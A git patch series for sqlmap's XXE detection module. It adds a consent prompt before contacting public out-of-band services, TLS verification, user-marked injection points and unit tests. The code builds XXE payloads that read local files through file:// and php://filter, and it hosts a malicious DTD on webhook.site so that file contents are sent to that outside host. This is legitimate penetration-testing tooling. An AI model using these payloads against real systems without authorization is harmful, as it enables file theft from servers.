lib/request/webhooksite.py +b53a750d957dc50cee15261358cafc3d339b8b28d70ebecf202009d0c13037a6 lib/request/webhooksite.py 01600295b17c00d4a5ada4c77aa688cfe36c89934da04c031be7da8040a3b457 lib/takeover/abstraction.py d3c93562d78ebdaf9e22c0ea2e4a62adb12f0ce9e9d9631c1ea000b1a07d04ab lib/takeover/icmpsh.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/takeover/__init__.py @@ -258,7 +258,7 @@ c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py -9a74178421ea0d98f7b27062e97eb55a12236deb893c2ef5f26fb6e734001f32 lib/techniques/xxe/inject.py +d9a776f37578e4c3b0498689eaff448904048b41d8ce9e758d2404a912c44ae8 lib/techniques/xxe/inject.py 2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py @@ -670,7 +670,7 @@ b03689c4dcca0e88a62a88784c61418f963c031d338a357dcc223560c8f9bd22 tests/test_use 93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f tests/test_wafbypass.py 81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py 9d6dd551b751ab38200ab190c744ec0a9afa798b37f83b0078a4325ab3f80aec tests/test_xpath.py -140aa78a94fb97e364cead82149f5a2c33d576b721f39ae52a6352072d770793 tests/test_xxe.py +b01acaa558b4f3e87957fe2d9a59d48878a7ed26660d5676ca34ecaaa1efd2b7 tests/test_xxe.py 55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 7f4522c89..86505b7b1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.24" +VERSION = "1.10.7.25" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -1102,13 +1102,12 @@ XXE_HARDENED_REGEX = r"(?i)(?:DOCTYPE is disallowed|DTD is prohibited|(?:externa OOB_INTERACTSH_SERVERS = ("oast.fun", "oast.pro", "oast.live", "oast.site", "oast.online", "oast.me") # Public content-hosting + request-logging endpoint for blind-XXE OOB exfiltration # (hosts the malicious external DTD and captures the file-bearing callback). Unlike -# interactsh it can serve arbitrary content; HTTP-only. Default exfil target is benign. +# interactsh it can serve arbitrary content; HTTP-only. Used only on explicit consent. OOB_EXFIL_ENDPOINT = "https://webhook.site" -OOB_EXFIL_DEFAULT_FILE = "/etc/hostname" OOB_CORRELATION_ID_LENGTH = 20 OOB_NONCE_LENGTH = 13 -OOB_POLL_ATTEMPTS = 5 -OOB_POLL_DELAY = 2 +OOB_POLL_ATTEMPTS = 15 # generous: two-hop exfil (target fetches DTD, then calls back) over the +OOB_POLL_DELAY = 2 # target's own link + webhook.site's eventually-consistent API (best-effort) # Time-based blind tier: an external entity aimed at this non-routable RFC5737 # TEST-NET-1 host makes a fetching parser stall on the connection, so a large, @@ -1118,9 +1117,8 @@ XXE_BLACKHOLE_HOST = "192.0.2.1" XXE_TIME_THRESHOLD = 5 XXE_IMPACT_FILES = ( - ("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # high-signal, tried first + ("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # anchored, high-signal ("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"), - ("file:///etc/hostname", r"^[\w.-]{1,255}$"), # loosest pattern, tried last ) # GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE: diff --git a/lib/request/interactsh.py b/lib/request/interactsh.py index b089dcd75..e57a09537 100644 --- a/lib/request/interactsh.py +++ b/lib/request/interactsh.py @@ -88,9 +88,13 @@ class Interactsh(object): handlers = [] try: + # Verify TLS for the (public, valid-cert) interaction server by default; + # only skip verification when the user has globally opted out (--force-ssl-verify + # off / verifyCert False), matching sqlmap's own TLS posture. context = ssl.create_default_context() - context.check_hostname = False - context.verify_mode = ssl.CERT_NONE + if conf.get("verifyCert") is False: + context.check_hostname = False + context.verify_mode = ssl.CERT_NONE handlers.append(HTTPSHandler(context=context)) except Exception: pass diff --git a/lib/request/webhooksite.py b/lib/request/webhooksite.py index 9191ae3ff..dac6edf6b 100644 --- a/lib/request/webhooksite.py +++ b/lib/request/webhooksite.py @@ -7,11 +7,12 @@ See the file 'LICENSE' for copying permission import json +from lib.core.data import conf from lib.core.data import logger +from lib.core.convert import getBytes from lib.core.convert import getText from lib.core.enums import HTTP_HEADER from lib.core.settings import OOB_EXFIL_ENDPOINT -from lib.request.connect import Connect as Request # webhook.site is used for blind-XXE OOB *exfiltration*: it can both serve a custom # response (our malicious external DTD) AND log the request the target then makes @@ -21,8 +22,9 @@ from lib.request.connect import Connect as Request class WebhookSite(object): """Thin webhook.site client: mints tokens (optionally serving fixed content) - and reads back the requests captured on them. All calls go through sqlmap's - request stack (proxy/timeout honoured) straight to the service, not the target.""" + and reads back the requests captured on them. Self-contained on urllib (like the + interactsh client): sqlmap's getPage caches by URL, which would make repeated + polls of the same /requests URL return a stale snapshot and miss the callback.""" def __init__(self): # Exfil host is the public content-serving endpoint (its token API is @@ -32,10 +34,28 @@ class WebhookSite(object): def _api(self, path, post=None): try: + import ssl + try: + from urllib.request import Request as _Request, build_opener, ProxyHandler, HTTPSHandler + except ImportError: + from urllib2 import Request as _Request, build_opener, ProxyHandler, HTTPSHandler + headers = {HTTP_HEADER.CONTENT_TYPE: "application/json"} if post is not None else {HTTP_HEADER.ACCEPT: "application/json"} - page, _, code = Request.getPage(url="%s%s" % (self.endpoint, path), post=post, - auxHeaders=headers, direct=True, silent=True, raise404=False) - return page if (code is None or code in (200, 201)) else None + handlers = [] + try: + context = ssl.create_default_context() + if conf.get("verifyCert") is False: + context.check_hostname = False + context.verify_mode = ssl.CERT_NONE + handlers.append(HTTPSHandler(context=context)) + except Exception: + pass + if conf.get("proxy"): + handlers.append(ProxyHandler({"http": conf.proxy, "https": conf.proxy})) + + request = _Request("%s%s" % (self.endpoint, path), data=getBytes(post) if post is not None else None, headers=headers) + response = build_opener(*handlers).open(request, timeout=conf.get("timeout") or 30) + return getText(response.read()) except Exception as ex: logger.debug("webhook.site request to '%s' failed: %s" % (path, getText(ex))) return None diff --git a/lib/techniques/xxe/inject.py b/lib/techniques/xxe/inject.py index 0a585c4d7..5876a7f06 100644 --- a/lib/techniques/xxe/inject.py +++ b/lib/techniques/xxe/inject.py @@ -11,6 +11,7 @@ import time from lib.core.common import beep from lib.core.common import dataToOutFile from lib.core.common import randomStr +from lib.core.common import readInput from lib.core.common import singleTimeWarnMessage from lib.core.convert import getBytes from lib.core.convert import getText @@ -21,12 +22,12 @@ from lib.core.data import logger from lib.core.dicts import POST_HINT_CONTENT_TYPES from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import HTTP_HEADER +from lib.core.enums import HTTPMETHOD from lib.core.settings import ASTERISK_MARKER from lib.core.settings import XXE_BLACKHOLE_HOST from lib.core.settings import XXE_ERROR_SIGNATURES from lib.core.settings import XXE_HARDENED_REGEX from lib.core.settings import XXE_IMPACT_FILES -from lib.core.settings import OOB_EXFIL_DEFAULT_FILE from lib.core.settings import OOB_POLL_ATTEMPTS from lib.core.settings import OOB_POLL_DELAY from lib.core.settings import XXE_LOCAL_DTDS @@ -38,6 +39,14 @@ from lib.request.connect import Connect as Request # so its presence in a response is unambiguously our reflected/expanded value. SENTINEL = randomStr(length=12, lowercase=True) +# When the user marked an explicit injection point in the body (e.g. 'luther*'), +# it is preserved as this placeholder and used as the SOLE injection spot, instead of +# rewriting every node - so schema/signature/id/auth-sensitive documents stay intact. +_MARKER = None + +# Cached answer to the one-time "use a public OOB service?" consent prompt (per scan). +_OOB_CONSENT = None + # First element of the document (skipping the prolog, comments and any # DOCTYPE). Its name must match the DOCTYPE name or libxml2/Xerces reject the doc. _ROOT_RE = re.compile(r"<\s*([A-Za-z_][\w.\-]*(?::[\w.\-]+)?)") @@ -52,13 +61,41 @@ def _looksXml(data): return data.startswith("<") and re.search(r"<[A-Za-z_?!]", data) is not None and '>' in data +def _toSystemId(path): + """Normalise a user file path (Unix, Windows, or already a URI) to a file:// systemId, + consistently across every tier.""" + p = getText(path or "").strip() + if "://" in p: + return p + return "file:///" + p.replace("\\", "/").lstrip("/") + + +def _toResource(path): + """Plain absolute path for a php://filter 'resource=' argument (URI/backslashes stripped).""" + p = getText(path or "").strip() + if p.startswith("file://"): + p = p[len("file://"):] + p = p.replace("\\", "/") + if re.match(r"^/?[A-Za-z]:/", p): # keep a Windows drive path as 'C:/...' + return p.lstrip("/") + return "/" + p.lstrip("/") + + def _cleanBody(): """Return the original request body with sqlmap's injection marks removed. Order matters: drop the injected custom marks first (any literal '*' from the original body was already escaped to ASTERISK_MARKER by target processing), then restore those escaped asterisks.""" + global _MARKER + _MARKER = None data = getText(conf.data or "") - data = data.replace(kb.customInjectionMark or "\x00", "") + mark = kb.customInjectionMark or "\x00" + if kb.get("processUserMarks") and mark in data: + # user chose the injection point explicitly - honour it as the SOLE spot + _MARKER = "xxemark%s" % randomStr(10, lowercase=True) + data = data.replace(mark, _MARKER, 1).replace(mark, "") + else: + data = data.replace(mark, "") data = data.replace(ASTERISK_MARKER, "*") return data.lstrip(u"\ufeff\ufffe") # drop a leading BOM so root/DOCTYPE handling stays correct @@ -86,6 +123,9 @@ def _send(body): if conf.delay: time.sleep(conf.delay) + if _MARKER and not isinstance(body, bytes) and _MARKER in body: + body = body.replace(_MARKER, "") # strip any unreplaced placeholder before sending + try: if conf.verbose >= 3: logger.log(CUSTOM_LOGGING.PAYLOAD, getUnicode(body)) @@ -132,6 +172,9 @@ def _placeRef(xml, snippet, attrs=False): for the external/XInclude tiers or the document becomes ill-formed). Falls back to injecting just before the root's closing tag when there is no text node at all.""" + if _MARKER and _MARKER in xml: + return xml.replace(_MARKER, snippet) # honour the user's explicit injection point + start = re.search(r"\]>", xml).end() if "]>" in xml else 0 head, tail = xml[:start], xml[start:] tail, count = _TEXTNODE_RE.subn(lambda _: ">" + snippet + "<", tail) @@ -169,19 +212,25 @@ def _fingerprint(page): def _echoed(page): - """True when the response mirrors our raw markup back. Essential guard for the - sentinel-in-path oracles: a debug/echo endpoint that never parses XML would - otherwise reflect the sentinel (it is inside the body we sent) and look like a - genuine parser error. A real error surfaces only the path/message, not the - DOCTYPE/entity declarations.""" - page = getUnicode(page or "") - return "' % (ent, systemId) payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2)) @@ -274,14 +322,14 @@ def _tryExternalFile(xml, rootName, baseline): def _tryPhpFilter(xml, rootName, baseline): - """PHP-only in-band read that survives newlines/binary: base64 a source file - through php://filter. Confirmed when the reflection decodes to file content.""" + """PHP-only in-band read (base64 via php://filter). Used only as a benign in-band + impact demonstration -> reads /etc/os-release; it deliberately never probes + /etc/passwd here (a specific file is read only on explicit '--file-read').""" from lib.core.convert import decodeBase64 baselineTokens = set(re.findall(r"[A-Za-z0-9+/]{16,}={0,2}", getUnicode(baseline or ""))) - for systemId, pattern in (("file:///etc/passwd", r":0:0:"), ("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)=")): - resource = systemId[len("file://"):] + for resource, pattern in (("/etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="),): ent = randomStr(length=8, lowercase=True) subset = '' % (ent, resource) payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent) @@ -328,22 +376,24 @@ def _tryLocalDtd(xml, rootName): return None, "" -def _tryErrorExfil(xml, rootName): +def _tryErrorExfil(xml, rootName, errorChannel=False): """In-band error-based file EXFILTRATION: coerce the parser into an error whose message embeds the target file's contents (not just a sentinel). Two vehicles: (a) repurpose a local on-disk DTD -> NO egress at all, or (b) a DTD we host on - the exfil service -> needs egress to fetch it plus verbose errors. php://filter - base64 carries a whole multi-line file intact; raw file:// leaks the first line - on any parser. Returns (content, filename) or (None, None).""" + the exfil service -> needs egress to fetch it plus verbose errors, so it is only + attempted when an error channel was already confirmed (else it is pointless and + just burns third-party requests). php://filter base64 carries a whole multi-line + file intact; raw file:// leaks the first line. Returns (content, filename).""" from lib.core.convert import decodeBase64 - fileName = conf.get("fileRead") or OOB_EXFIL_DEFAULT_FILE - resource = fileName if fileName.startswith("/") else "/" + fileName + fileName = conf.get("fileRead") + if not fileName: + return None, None marker = randomStr(10, lowercase=True) # (systemId, isBase64): base64 first (whole file, PHP), raw fallback (first line, any parser) - reads = (("php://filter/convert.base64-encode/resource=%s" % resource, True), - ("file://%s" % resource, False)) + reads = (("php://filter/convert.base64-encode/resource=%s" % _toResource(fileName), True), + (_toSystemId(fileName), False)) def _extract(page, isB64): pattern = (r"file:/+%s/([A-Za-z0-9+/=]+)" if isB64 else r"file:/+%s/([^\s'\"<>;)]+)") % re.escape(marker) @@ -368,8 +418,9 @@ def _tryErrorExfil(xml, rootName): if content: return content, fileName - # (b) DTD we host on the exfil service - egress + verbose errors (third party) - if not _oobEnabled(): + # (b) DTD we host on the exfil service - egress + verbose errors (third party): + # skip on a blind target (no error channel) and without explicit OOB consent + if not (errorChannel and _oobConsent()): return None, None from lib.request.webhooksite import WebhookSite wh = WebhookSite() @@ -469,11 +520,26 @@ def _tryTimeBlind(xml, rootName): def _oobEnabled(): - """Out-of-band tiers contact a public third party by default. Honour an explicit - opt-out (`--oob-server none`) for sensitive engagements.""" + """False when the user opted out of OOB entirely (`--oob-server none`).""" return (conf.get("oobServer") or "").strip().lower() not in ("none", "off", "0", "no", "disable", "false") +def _oobConsent(): + """True only when the user has opted into contacting a third-party OOB service: + either explicitly (`--oob-server `) or by answering the one-time prompt, + which defaults to NO - so '--batch' never silently phones a public service.""" + global _OOB_CONSENT + if not _oobEnabled(): + return False + if conf.get("oobServer"): + return True + if _OOB_CONSENT is None: + message = "do you want sqlmap to use a public out-of-band service " + message += "(interactsh/webhook.site) for blind XXE? [y/N] " + _OOB_CONSENT = readInput(message, default='N', boolean=True) + return _OOB_CONSENT + + def _tryOobExfil(xml, rootName): """T7 out-of-band EXFILTRATION for blind XXE: host a malicious external DTD on a public content+logging service (webhook.site), point the target's parser at @@ -486,17 +552,24 @@ def _tryOobExfil(xml, rootName): from lib.core.convert import decodeBase64 from lib.request.webhooksite import WebhookSite + fileName = conf.get("fileRead") + if not fileName: + return None + wh = WebhookSite() exfilToken = wh.newToken() if not exfilToken: logger.debug("out-of-band exfiltration tier skipped (could not reach the exfil service)") return None - target = conf.get("fileRead") or OOB_EXFIL_DEFAULT_FILE - exfilUrl = "%s/?x=%%file;" % wh.hostUrl(exfilToken) + marker = randomStr(10, lowercase=True) + # Carry the base64 in the URL PATH, not the query: query parsers turn '+' into a + # space and mangle '/'/'=', corrupting the payload. In the path those bytes survive + # and webhook.site logs the raw request URL, which we regex back out. + exfilUrl = "%s/%s/%%file;" % (wh.hostUrl(exfilToken), marker) dtd = ('\n' '">\n' - '%%eval;\n%%exfil;') % (target, exfilUrl) + '%%eval;\n%%exfil;') % (_toResource(fileName), exfilUrl) dtdToken = wh.newToken(dtd) if not dtdToken: return None @@ -506,15 +579,16 @@ def _tryOobExfil(xml, rootName): _send(payload) content, detected = None, False + pattern = re.compile(r"/%s/([A-Za-z0-9+/=]+)" % re.escape(marker)) for _ in range(OOB_POLL_ATTEMPTS): time.sleep(OOB_POLL_DELAY) for record in wh.captured(exfilToken): - leaked = (record.get("query") or {}).get("x") - if leaked: + match = pattern.search(getText(record.get("url") or "")) + if match: try: - content = getText(decodeBase64(leaked)) + content = getText(decodeBase64(match.group(1))) except Exception: - content = getText(leaked) + content = match.group(1) break if content: break @@ -523,7 +597,7 @@ def _tryOobExfil(xml, rootName): if not detected: detected = bool(wh.captured(dtdToken)) - return {"payload": payload, "filename": target, "content": content, "detected": detected} + return {"payload": payload, "filename": fileName, "content": content, "detected": detected} def _tryOob(xml, rootName): @@ -560,8 +634,9 @@ def _tryOob(xml, rootName): def xxeScan(): - global SENTINEL + global SENTINEL, _OOB_CONSENT SENTINEL = randomStr(length=12, lowercase=True) + _OOB_CONSENT = None debugMsg = "'--xxe' is self-contained: it detects XML External Entity injection " debugMsg += "in the request body and demonstrates file-read impact. SQL enumeration " @@ -583,29 +658,30 @@ def xxeScan(): baseline = _send(xml) found = False - # T2: in-band reflected (internal entity expansion) - the strongest oracle + # T2: in-band reflected DTD/internal-entity expansion. This proves the parser + # processes entities; it is NOT yet external-entity file-read impact - so the + # finding is worded conservatively and escalated only if an actual read follows. payload, page = _tryInternal(xml, rootName, baseline) if payload: found = True - logger.info("the XML body is vulnerable to XXE injection (in-band, entity expansion enabled)") - _report("In-band (reflected internal entity)", payload) + logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)") + _report("In-band DTD/internal entity expansion", payload) if conf.get("fileRead"): content = _tryInbandFileRead(xml, rootName, conf.fileRead) if content: - logger.info("in-band file read of '%s' succeeded" % conf.fileRead) + logger.info("in-band XXE file-read impact confirmed for '%s'" % conf.fileRead) _report("In-band file read ('%s')" % conf.fileRead, "" % conf.fileRead) _dumpFileRead(conf.fileRead, content) - - systemId, snippet = _tryExternalFile(xml, rootName, baseline) - if systemId: - logger.info("file-read impact confirmed via external entity ('%s'): '%s'" % (systemId, snippet)) - _report("Out-of-band file read (external entity '%s')" % systemId, " -> %s" % (systemId, snippet)) else: - phpPayload = _tryPhpFilter(xml, rootName, baseline) - if phpPayload: - logger.info("file-read impact confirmed via php://filter (base64 source disclosure)") - _report("File read via php://filter (base64)", phpPayload) + # benign, in-band impact demonstration (data stays in the response, no third party) + systemId, snippet = _tryExternalFile(xml, rootName, baseline) + if not systemId: + snippet = _tryPhpFilter(xml, rootName, baseline) + systemId = "php://filter" if snippet else None + if systemId: + logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId) + _report("In-band file-read impact (external entity '%s')" % systemId, "") # T3: error-based (works where entities are not reflected but errors leak) errorChannel = False @@ -626,13 +702,14 @@ def xxeScan(): logger.info("the XML body is vulnerable to XXE injection (error-based via local-DTD repurposing, no egress required)") _report("Error-based (local-DTD repurposing, back-end: '%s')" % backend, payload) - # T3c: error-based FILE EXFILTRATION - upgrade a confirmed error channel to an - # in-band file read (or attempt it directly when the user asked via --file-read) - if errorChannel or conf.get("fileRead"): - content, fileName = _tryErrorExfil(xml, rootName) + # T3c: error-based FILE EXFILTRATION - only on an explicit '--file-read' request. + # The local-DTD vehicle is always tried (no egress); the remote-DTD vehicle needs + # both a confirmed error channel (pointless on a blind target) and OOB consent. + if conf.get("fileRead"): + content, fileName = _tryErrorExfil(xml, rootName, errorChannel) if content: found = True - logger.info("the XML body is vulnerable to XXE injection (error-based in-band file read of '%s')" % fileName) + logger.info("error-based in-band XXE file read of '%s' succeeded" % fileName) _report("Error-based in-band file read ('%s')" % fileName, "" % fileName) _dumpFileRead(fileName, content) @@ -661,27 +738,28 @@ def xxeScan(): logger.info("the XML body is vulnerable to XXE injection (time-based blind, external entity resolution reaches out-of-band)") _report("Time-based blind (external entity to non-routable host)", payload) - # T7: out-of-band exfiltration via a hosted malicious DTD (also confirms blind XXE) - if not found and _oobEnabled(): - exfil = _tryOobExfil(xml, rootName) - if exfil and (exfil["content"] or exfil["detected"]): - found = True - if exfil["content"]: - logger.info("the XML body is vulnerable to blind XXE injection (out-of-band file read of '%s')" % exfil["filename"]) - _report("Out-of-band blind file read ('%s')" % exfil["filename"], exfil["payload"]) - _dumpFileRead(exfil["filename"], exfil["content"]) - else: - logger.info("the XML body is vulnerable to blind XXE injection (out-of-band, target fetched the hosted DTD)") - _report("Out-of-band blind (hosted-DTD callback)", exfil["payload"]) - - # T8: out-of-band blind confirmation via an interaction server (DNS+HTTP callback) - if not found and _oobEnabled(): - result = _tryOob(xml, rootName) - if result: - payload, protocol = result - found = True - logger.info("the XML body is vulnerable to XXE injection (out-of-band, confirmed via %s interaction with the collector)" % protocol) - _report("Out-of-band blind (collector callback: %s)" % protocol, payload) + # T7: out-of-band tiers - THIRD PARTY, so only on explicit consent (default NO). + # Low-impact callback confirmation is the default; actual file exfiltration is + # attempted only when the user explicitly asked for a file via '--file-read'. + if not found and _oobConsent(): + if conf.get("fileRead"): + exfil = _tryOobExfil(xml, rootName) + if exfil and (exfil["content"] or exfil["detected"]): + found = True + if exfil["content"]: + logger.info("blind XXE out-of-band file read of '%s' succeeded" % exfil["filename"]) + _report("Out-of-band blind file read ('%s')" % exfil["filename"], exfil["payload"]) + _dumpFileRead(exfil["filename"], exfil["content"]) + else: + logger.info("blind XXE confirmed (out-of-band; target fetched the hosted DTD)") + _report("Out-of-band blind (hosted-DTD callback)", exfil["payload"]) + else: + result = _tryOob(xml, rootName) + if result: + payload, protocol = result + found = True + logger.info("blind XXE confirmed (out-of-band %s callback to the interaction server)" % protocol) + _report("Out-of-band blind (collector callback: %s)" % protocol, payload) if not found: # Reachable-but-not-exploitable diagnostics: distinguish a hardened parser diff --git a/tests/test_xxe.py b/tests/test_xxe.py index 0c29c0585..8c46873c8 100644 --- a/tests/test_xxe.py +++ b/tests/test_xxe.py @@ -77,6 +77,17 @@ class TestBuildDoctype(unittest.TestCase): self.assertIn(self.SUBSET, out) self.assertIn("[", out) + def test_existing_internal_subset_with_gt_in_entity_value(self): + # a '>' inside a quoted entity value must not fool the internal-subset splice + out = xxe._buildDoctype('y">]>z', "r", self.SUBSET) + self.assertEqual(out.count("z', "r", self.SUBSET) + self.assertEqual(out.count("xxemarkzzzzother", "&e;") + self.assertIn("&e;", out) + self.assertIn("other", out) # other node left intact + self.assertNotIn("xxemarkzzzz", out) + + def test_clean_body_sets_marker_on_user_marks(self): + conf.data = "luther%s" % (kb.customInjectionMark or "*") + kb.processUserMarks = True + try: + cleaned = xxe._cleanBody() + self.assertIsNotNone(xxe._MARKER) + self.assertIn(xxe._MARKER, cleaned) + finally: + kb.processUserMarks = False + xxe._MARKER = None + + +class TestReportMethod(unittest.TestCase): + def test_report_uses_conf_method(self): + captured = [] + + class _Dumper(object): + def singleString(self, data, content_type=None): + captured.append(data) + + old_dumper, old_method, old_beep = conf.get("dumper"), conf.get("method"), conf.get("beep") + conf.dumper, conf.method, conf.beep = _Dumper(), "PUT", False + try: + xxe._report("Title", "Payload") + finally: + conf.dumper, conf.method, conf.beep = old_dumper, old_method, old_beep + self.assertIn("PUT XML body", captured[0]) + + +class TestOobBase64Capture(unittest.TestCase): + def test_path_capture_survives_plus_slash_equals(self): + import base64 + from lib.core.convert import getText, decodeBase64 + marker = "mk12345678" + raw = b">>>\xff\xfe some + / = data ==" + blob = getText(base64.b64encode(raw)) + self.assertTrue(any(c in blob for c in "+/=")) # ensure the risky chars are present + url = "http://webhook.site/tok/%s/%s" % (marker, blob) # base64 in the PATH + m = re.search(r"/%s/([A-Za-z0-9+/=]+)" % re.escape(marker), url) + self.assertIsNotNone(m) + self.assertEqual(m.group(1), blob) + self.assertEqual(decodeBase64(m.group(1)), raw) + + class TestDetectionMocked(unittest.TestCase): def setUp(self): self._send = xxe._send From 103a0e6b0fd5ef65b7b4d72985a27d6a46e86e43 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 4 Jul 2026 11:12:21 +0200 Subject: [PATCH 26/34] More refactoring for --xxe --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/techniques/xxe/inject.py | 45 +++++++++++++++++++++++++----------- 3 files changed, 34 insertions(+), 17 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index e1c202926..b5e04442b 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -c8b5b430219d8bdd7e0139c2fe10a8175c55dc4ef2c1baa84fa24c4d6d8d4229 lib/core/settings.py +d9b2dc6104456fa679f827d16baeb1ed7ca377a961d163d12cd2b7eba09f24c6 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -258,7 +258,7 @@ c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py -d9a776f37578e4c3b0498689eaff448904048b41d8ce9e758d2404a912c44ae8 lib/techniques/xxe/inject.py +e542cbcb1e2798f2d756d1f79940f61f7cebef661657f8ca1dba83c0696e95eb lib/techniques/xxe/inject.py 2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 86505b7b1..0f81eefb9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.25" +VERSION = "1.10.7.26" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/xxe/inject.py b/lib/techniques/xxe/inject.py index 5876a7f06..f6d7432cb 100644 --- a/lib/techniques/xxe/inject.py +++ b/lib/techniques/xxe/inject.py @@ -656,20 +656,23 @@ def xxeScan(): logger.info("testing XXE injection on the XML request body (root element: '%s')" % rootName) baseline = _send(xml) - found = False + found = False # an actual impact/oracle (file read, error-based, XInclude, blind) + expansionSeen = False # reflected DTD/internal-entity processing (weaker; must not stop the search) # T2: in-band reflected DTD/internal-entity expansion. This proves the parser - # processes entities; it is NOT yet external-entity file-read impact - so the - # finding is worded conservatively and escalated only if an actual read follows. + # processes entities but is NOT yet file-read impact, so it deliberately does NOT + # set `found` - the in-band read (or, if that fails, the error/XInclude tiers) still + # run to try to upgrade a mere "expansion confirmed" into actual file-read impact. payload, page = _tryInternal(xml, rootName, baseline) if payload: - found = True + expansionSeen = True logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)") _report("In-band DTD/internal entity expansion", payload) if conf.get("fileRead"): content = _tryInbandFileRead(xml, rootName, conf.fileRead) if content: + found = True logger.info("in-band XXE file-read impact confirmed for '%s'" % conf.fileRead) _report("In-band file read ('%s')" % conf.fileRead, "" % conf.fileRead) _dumpFileRead(conf.fileRead, content) @@ -680,12 +683,15 @@ def xxeScan(): snippet = _tryPhpFilter(xml, rootName, baseline) systemId = "php://filter" if snippet else None if systemId: + found = True logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId) _report("In-band file-read impact (external entity '%s')" % systemId, "") - # T3: error-based (works where entities are not reflected but errors leak) + # T3: error-based (works where entities are not reflected but errors leak). A + # redundant detection channel once in-band reflection was already seen, so it is + # skipped then - the file-read *impact* tiers below still run to try to upgrade. errorChannel = False - if not found: + if not found and not expansionSeen: payload, page = _tryError(xml, rootName) if payload: found = errorChannel = True @@ -693,8 +699,8 @@ def xxeScan(): logger.info("the XML body is vulnerable to XXE injection (error-based, back-end parser: '%s')" % backend) _report("Error-based (parameter entity, back-end: '%s')" % backend, payload) - # T3b: no-egress error-based via local-DTD repurposing - if not found: + # T3b: no-egress error-based via local-DTD repurposing (detection; skip once reflected) + if not found and not expansionSeen: payload, page = _tryLocalDtd(xml, rootName) if 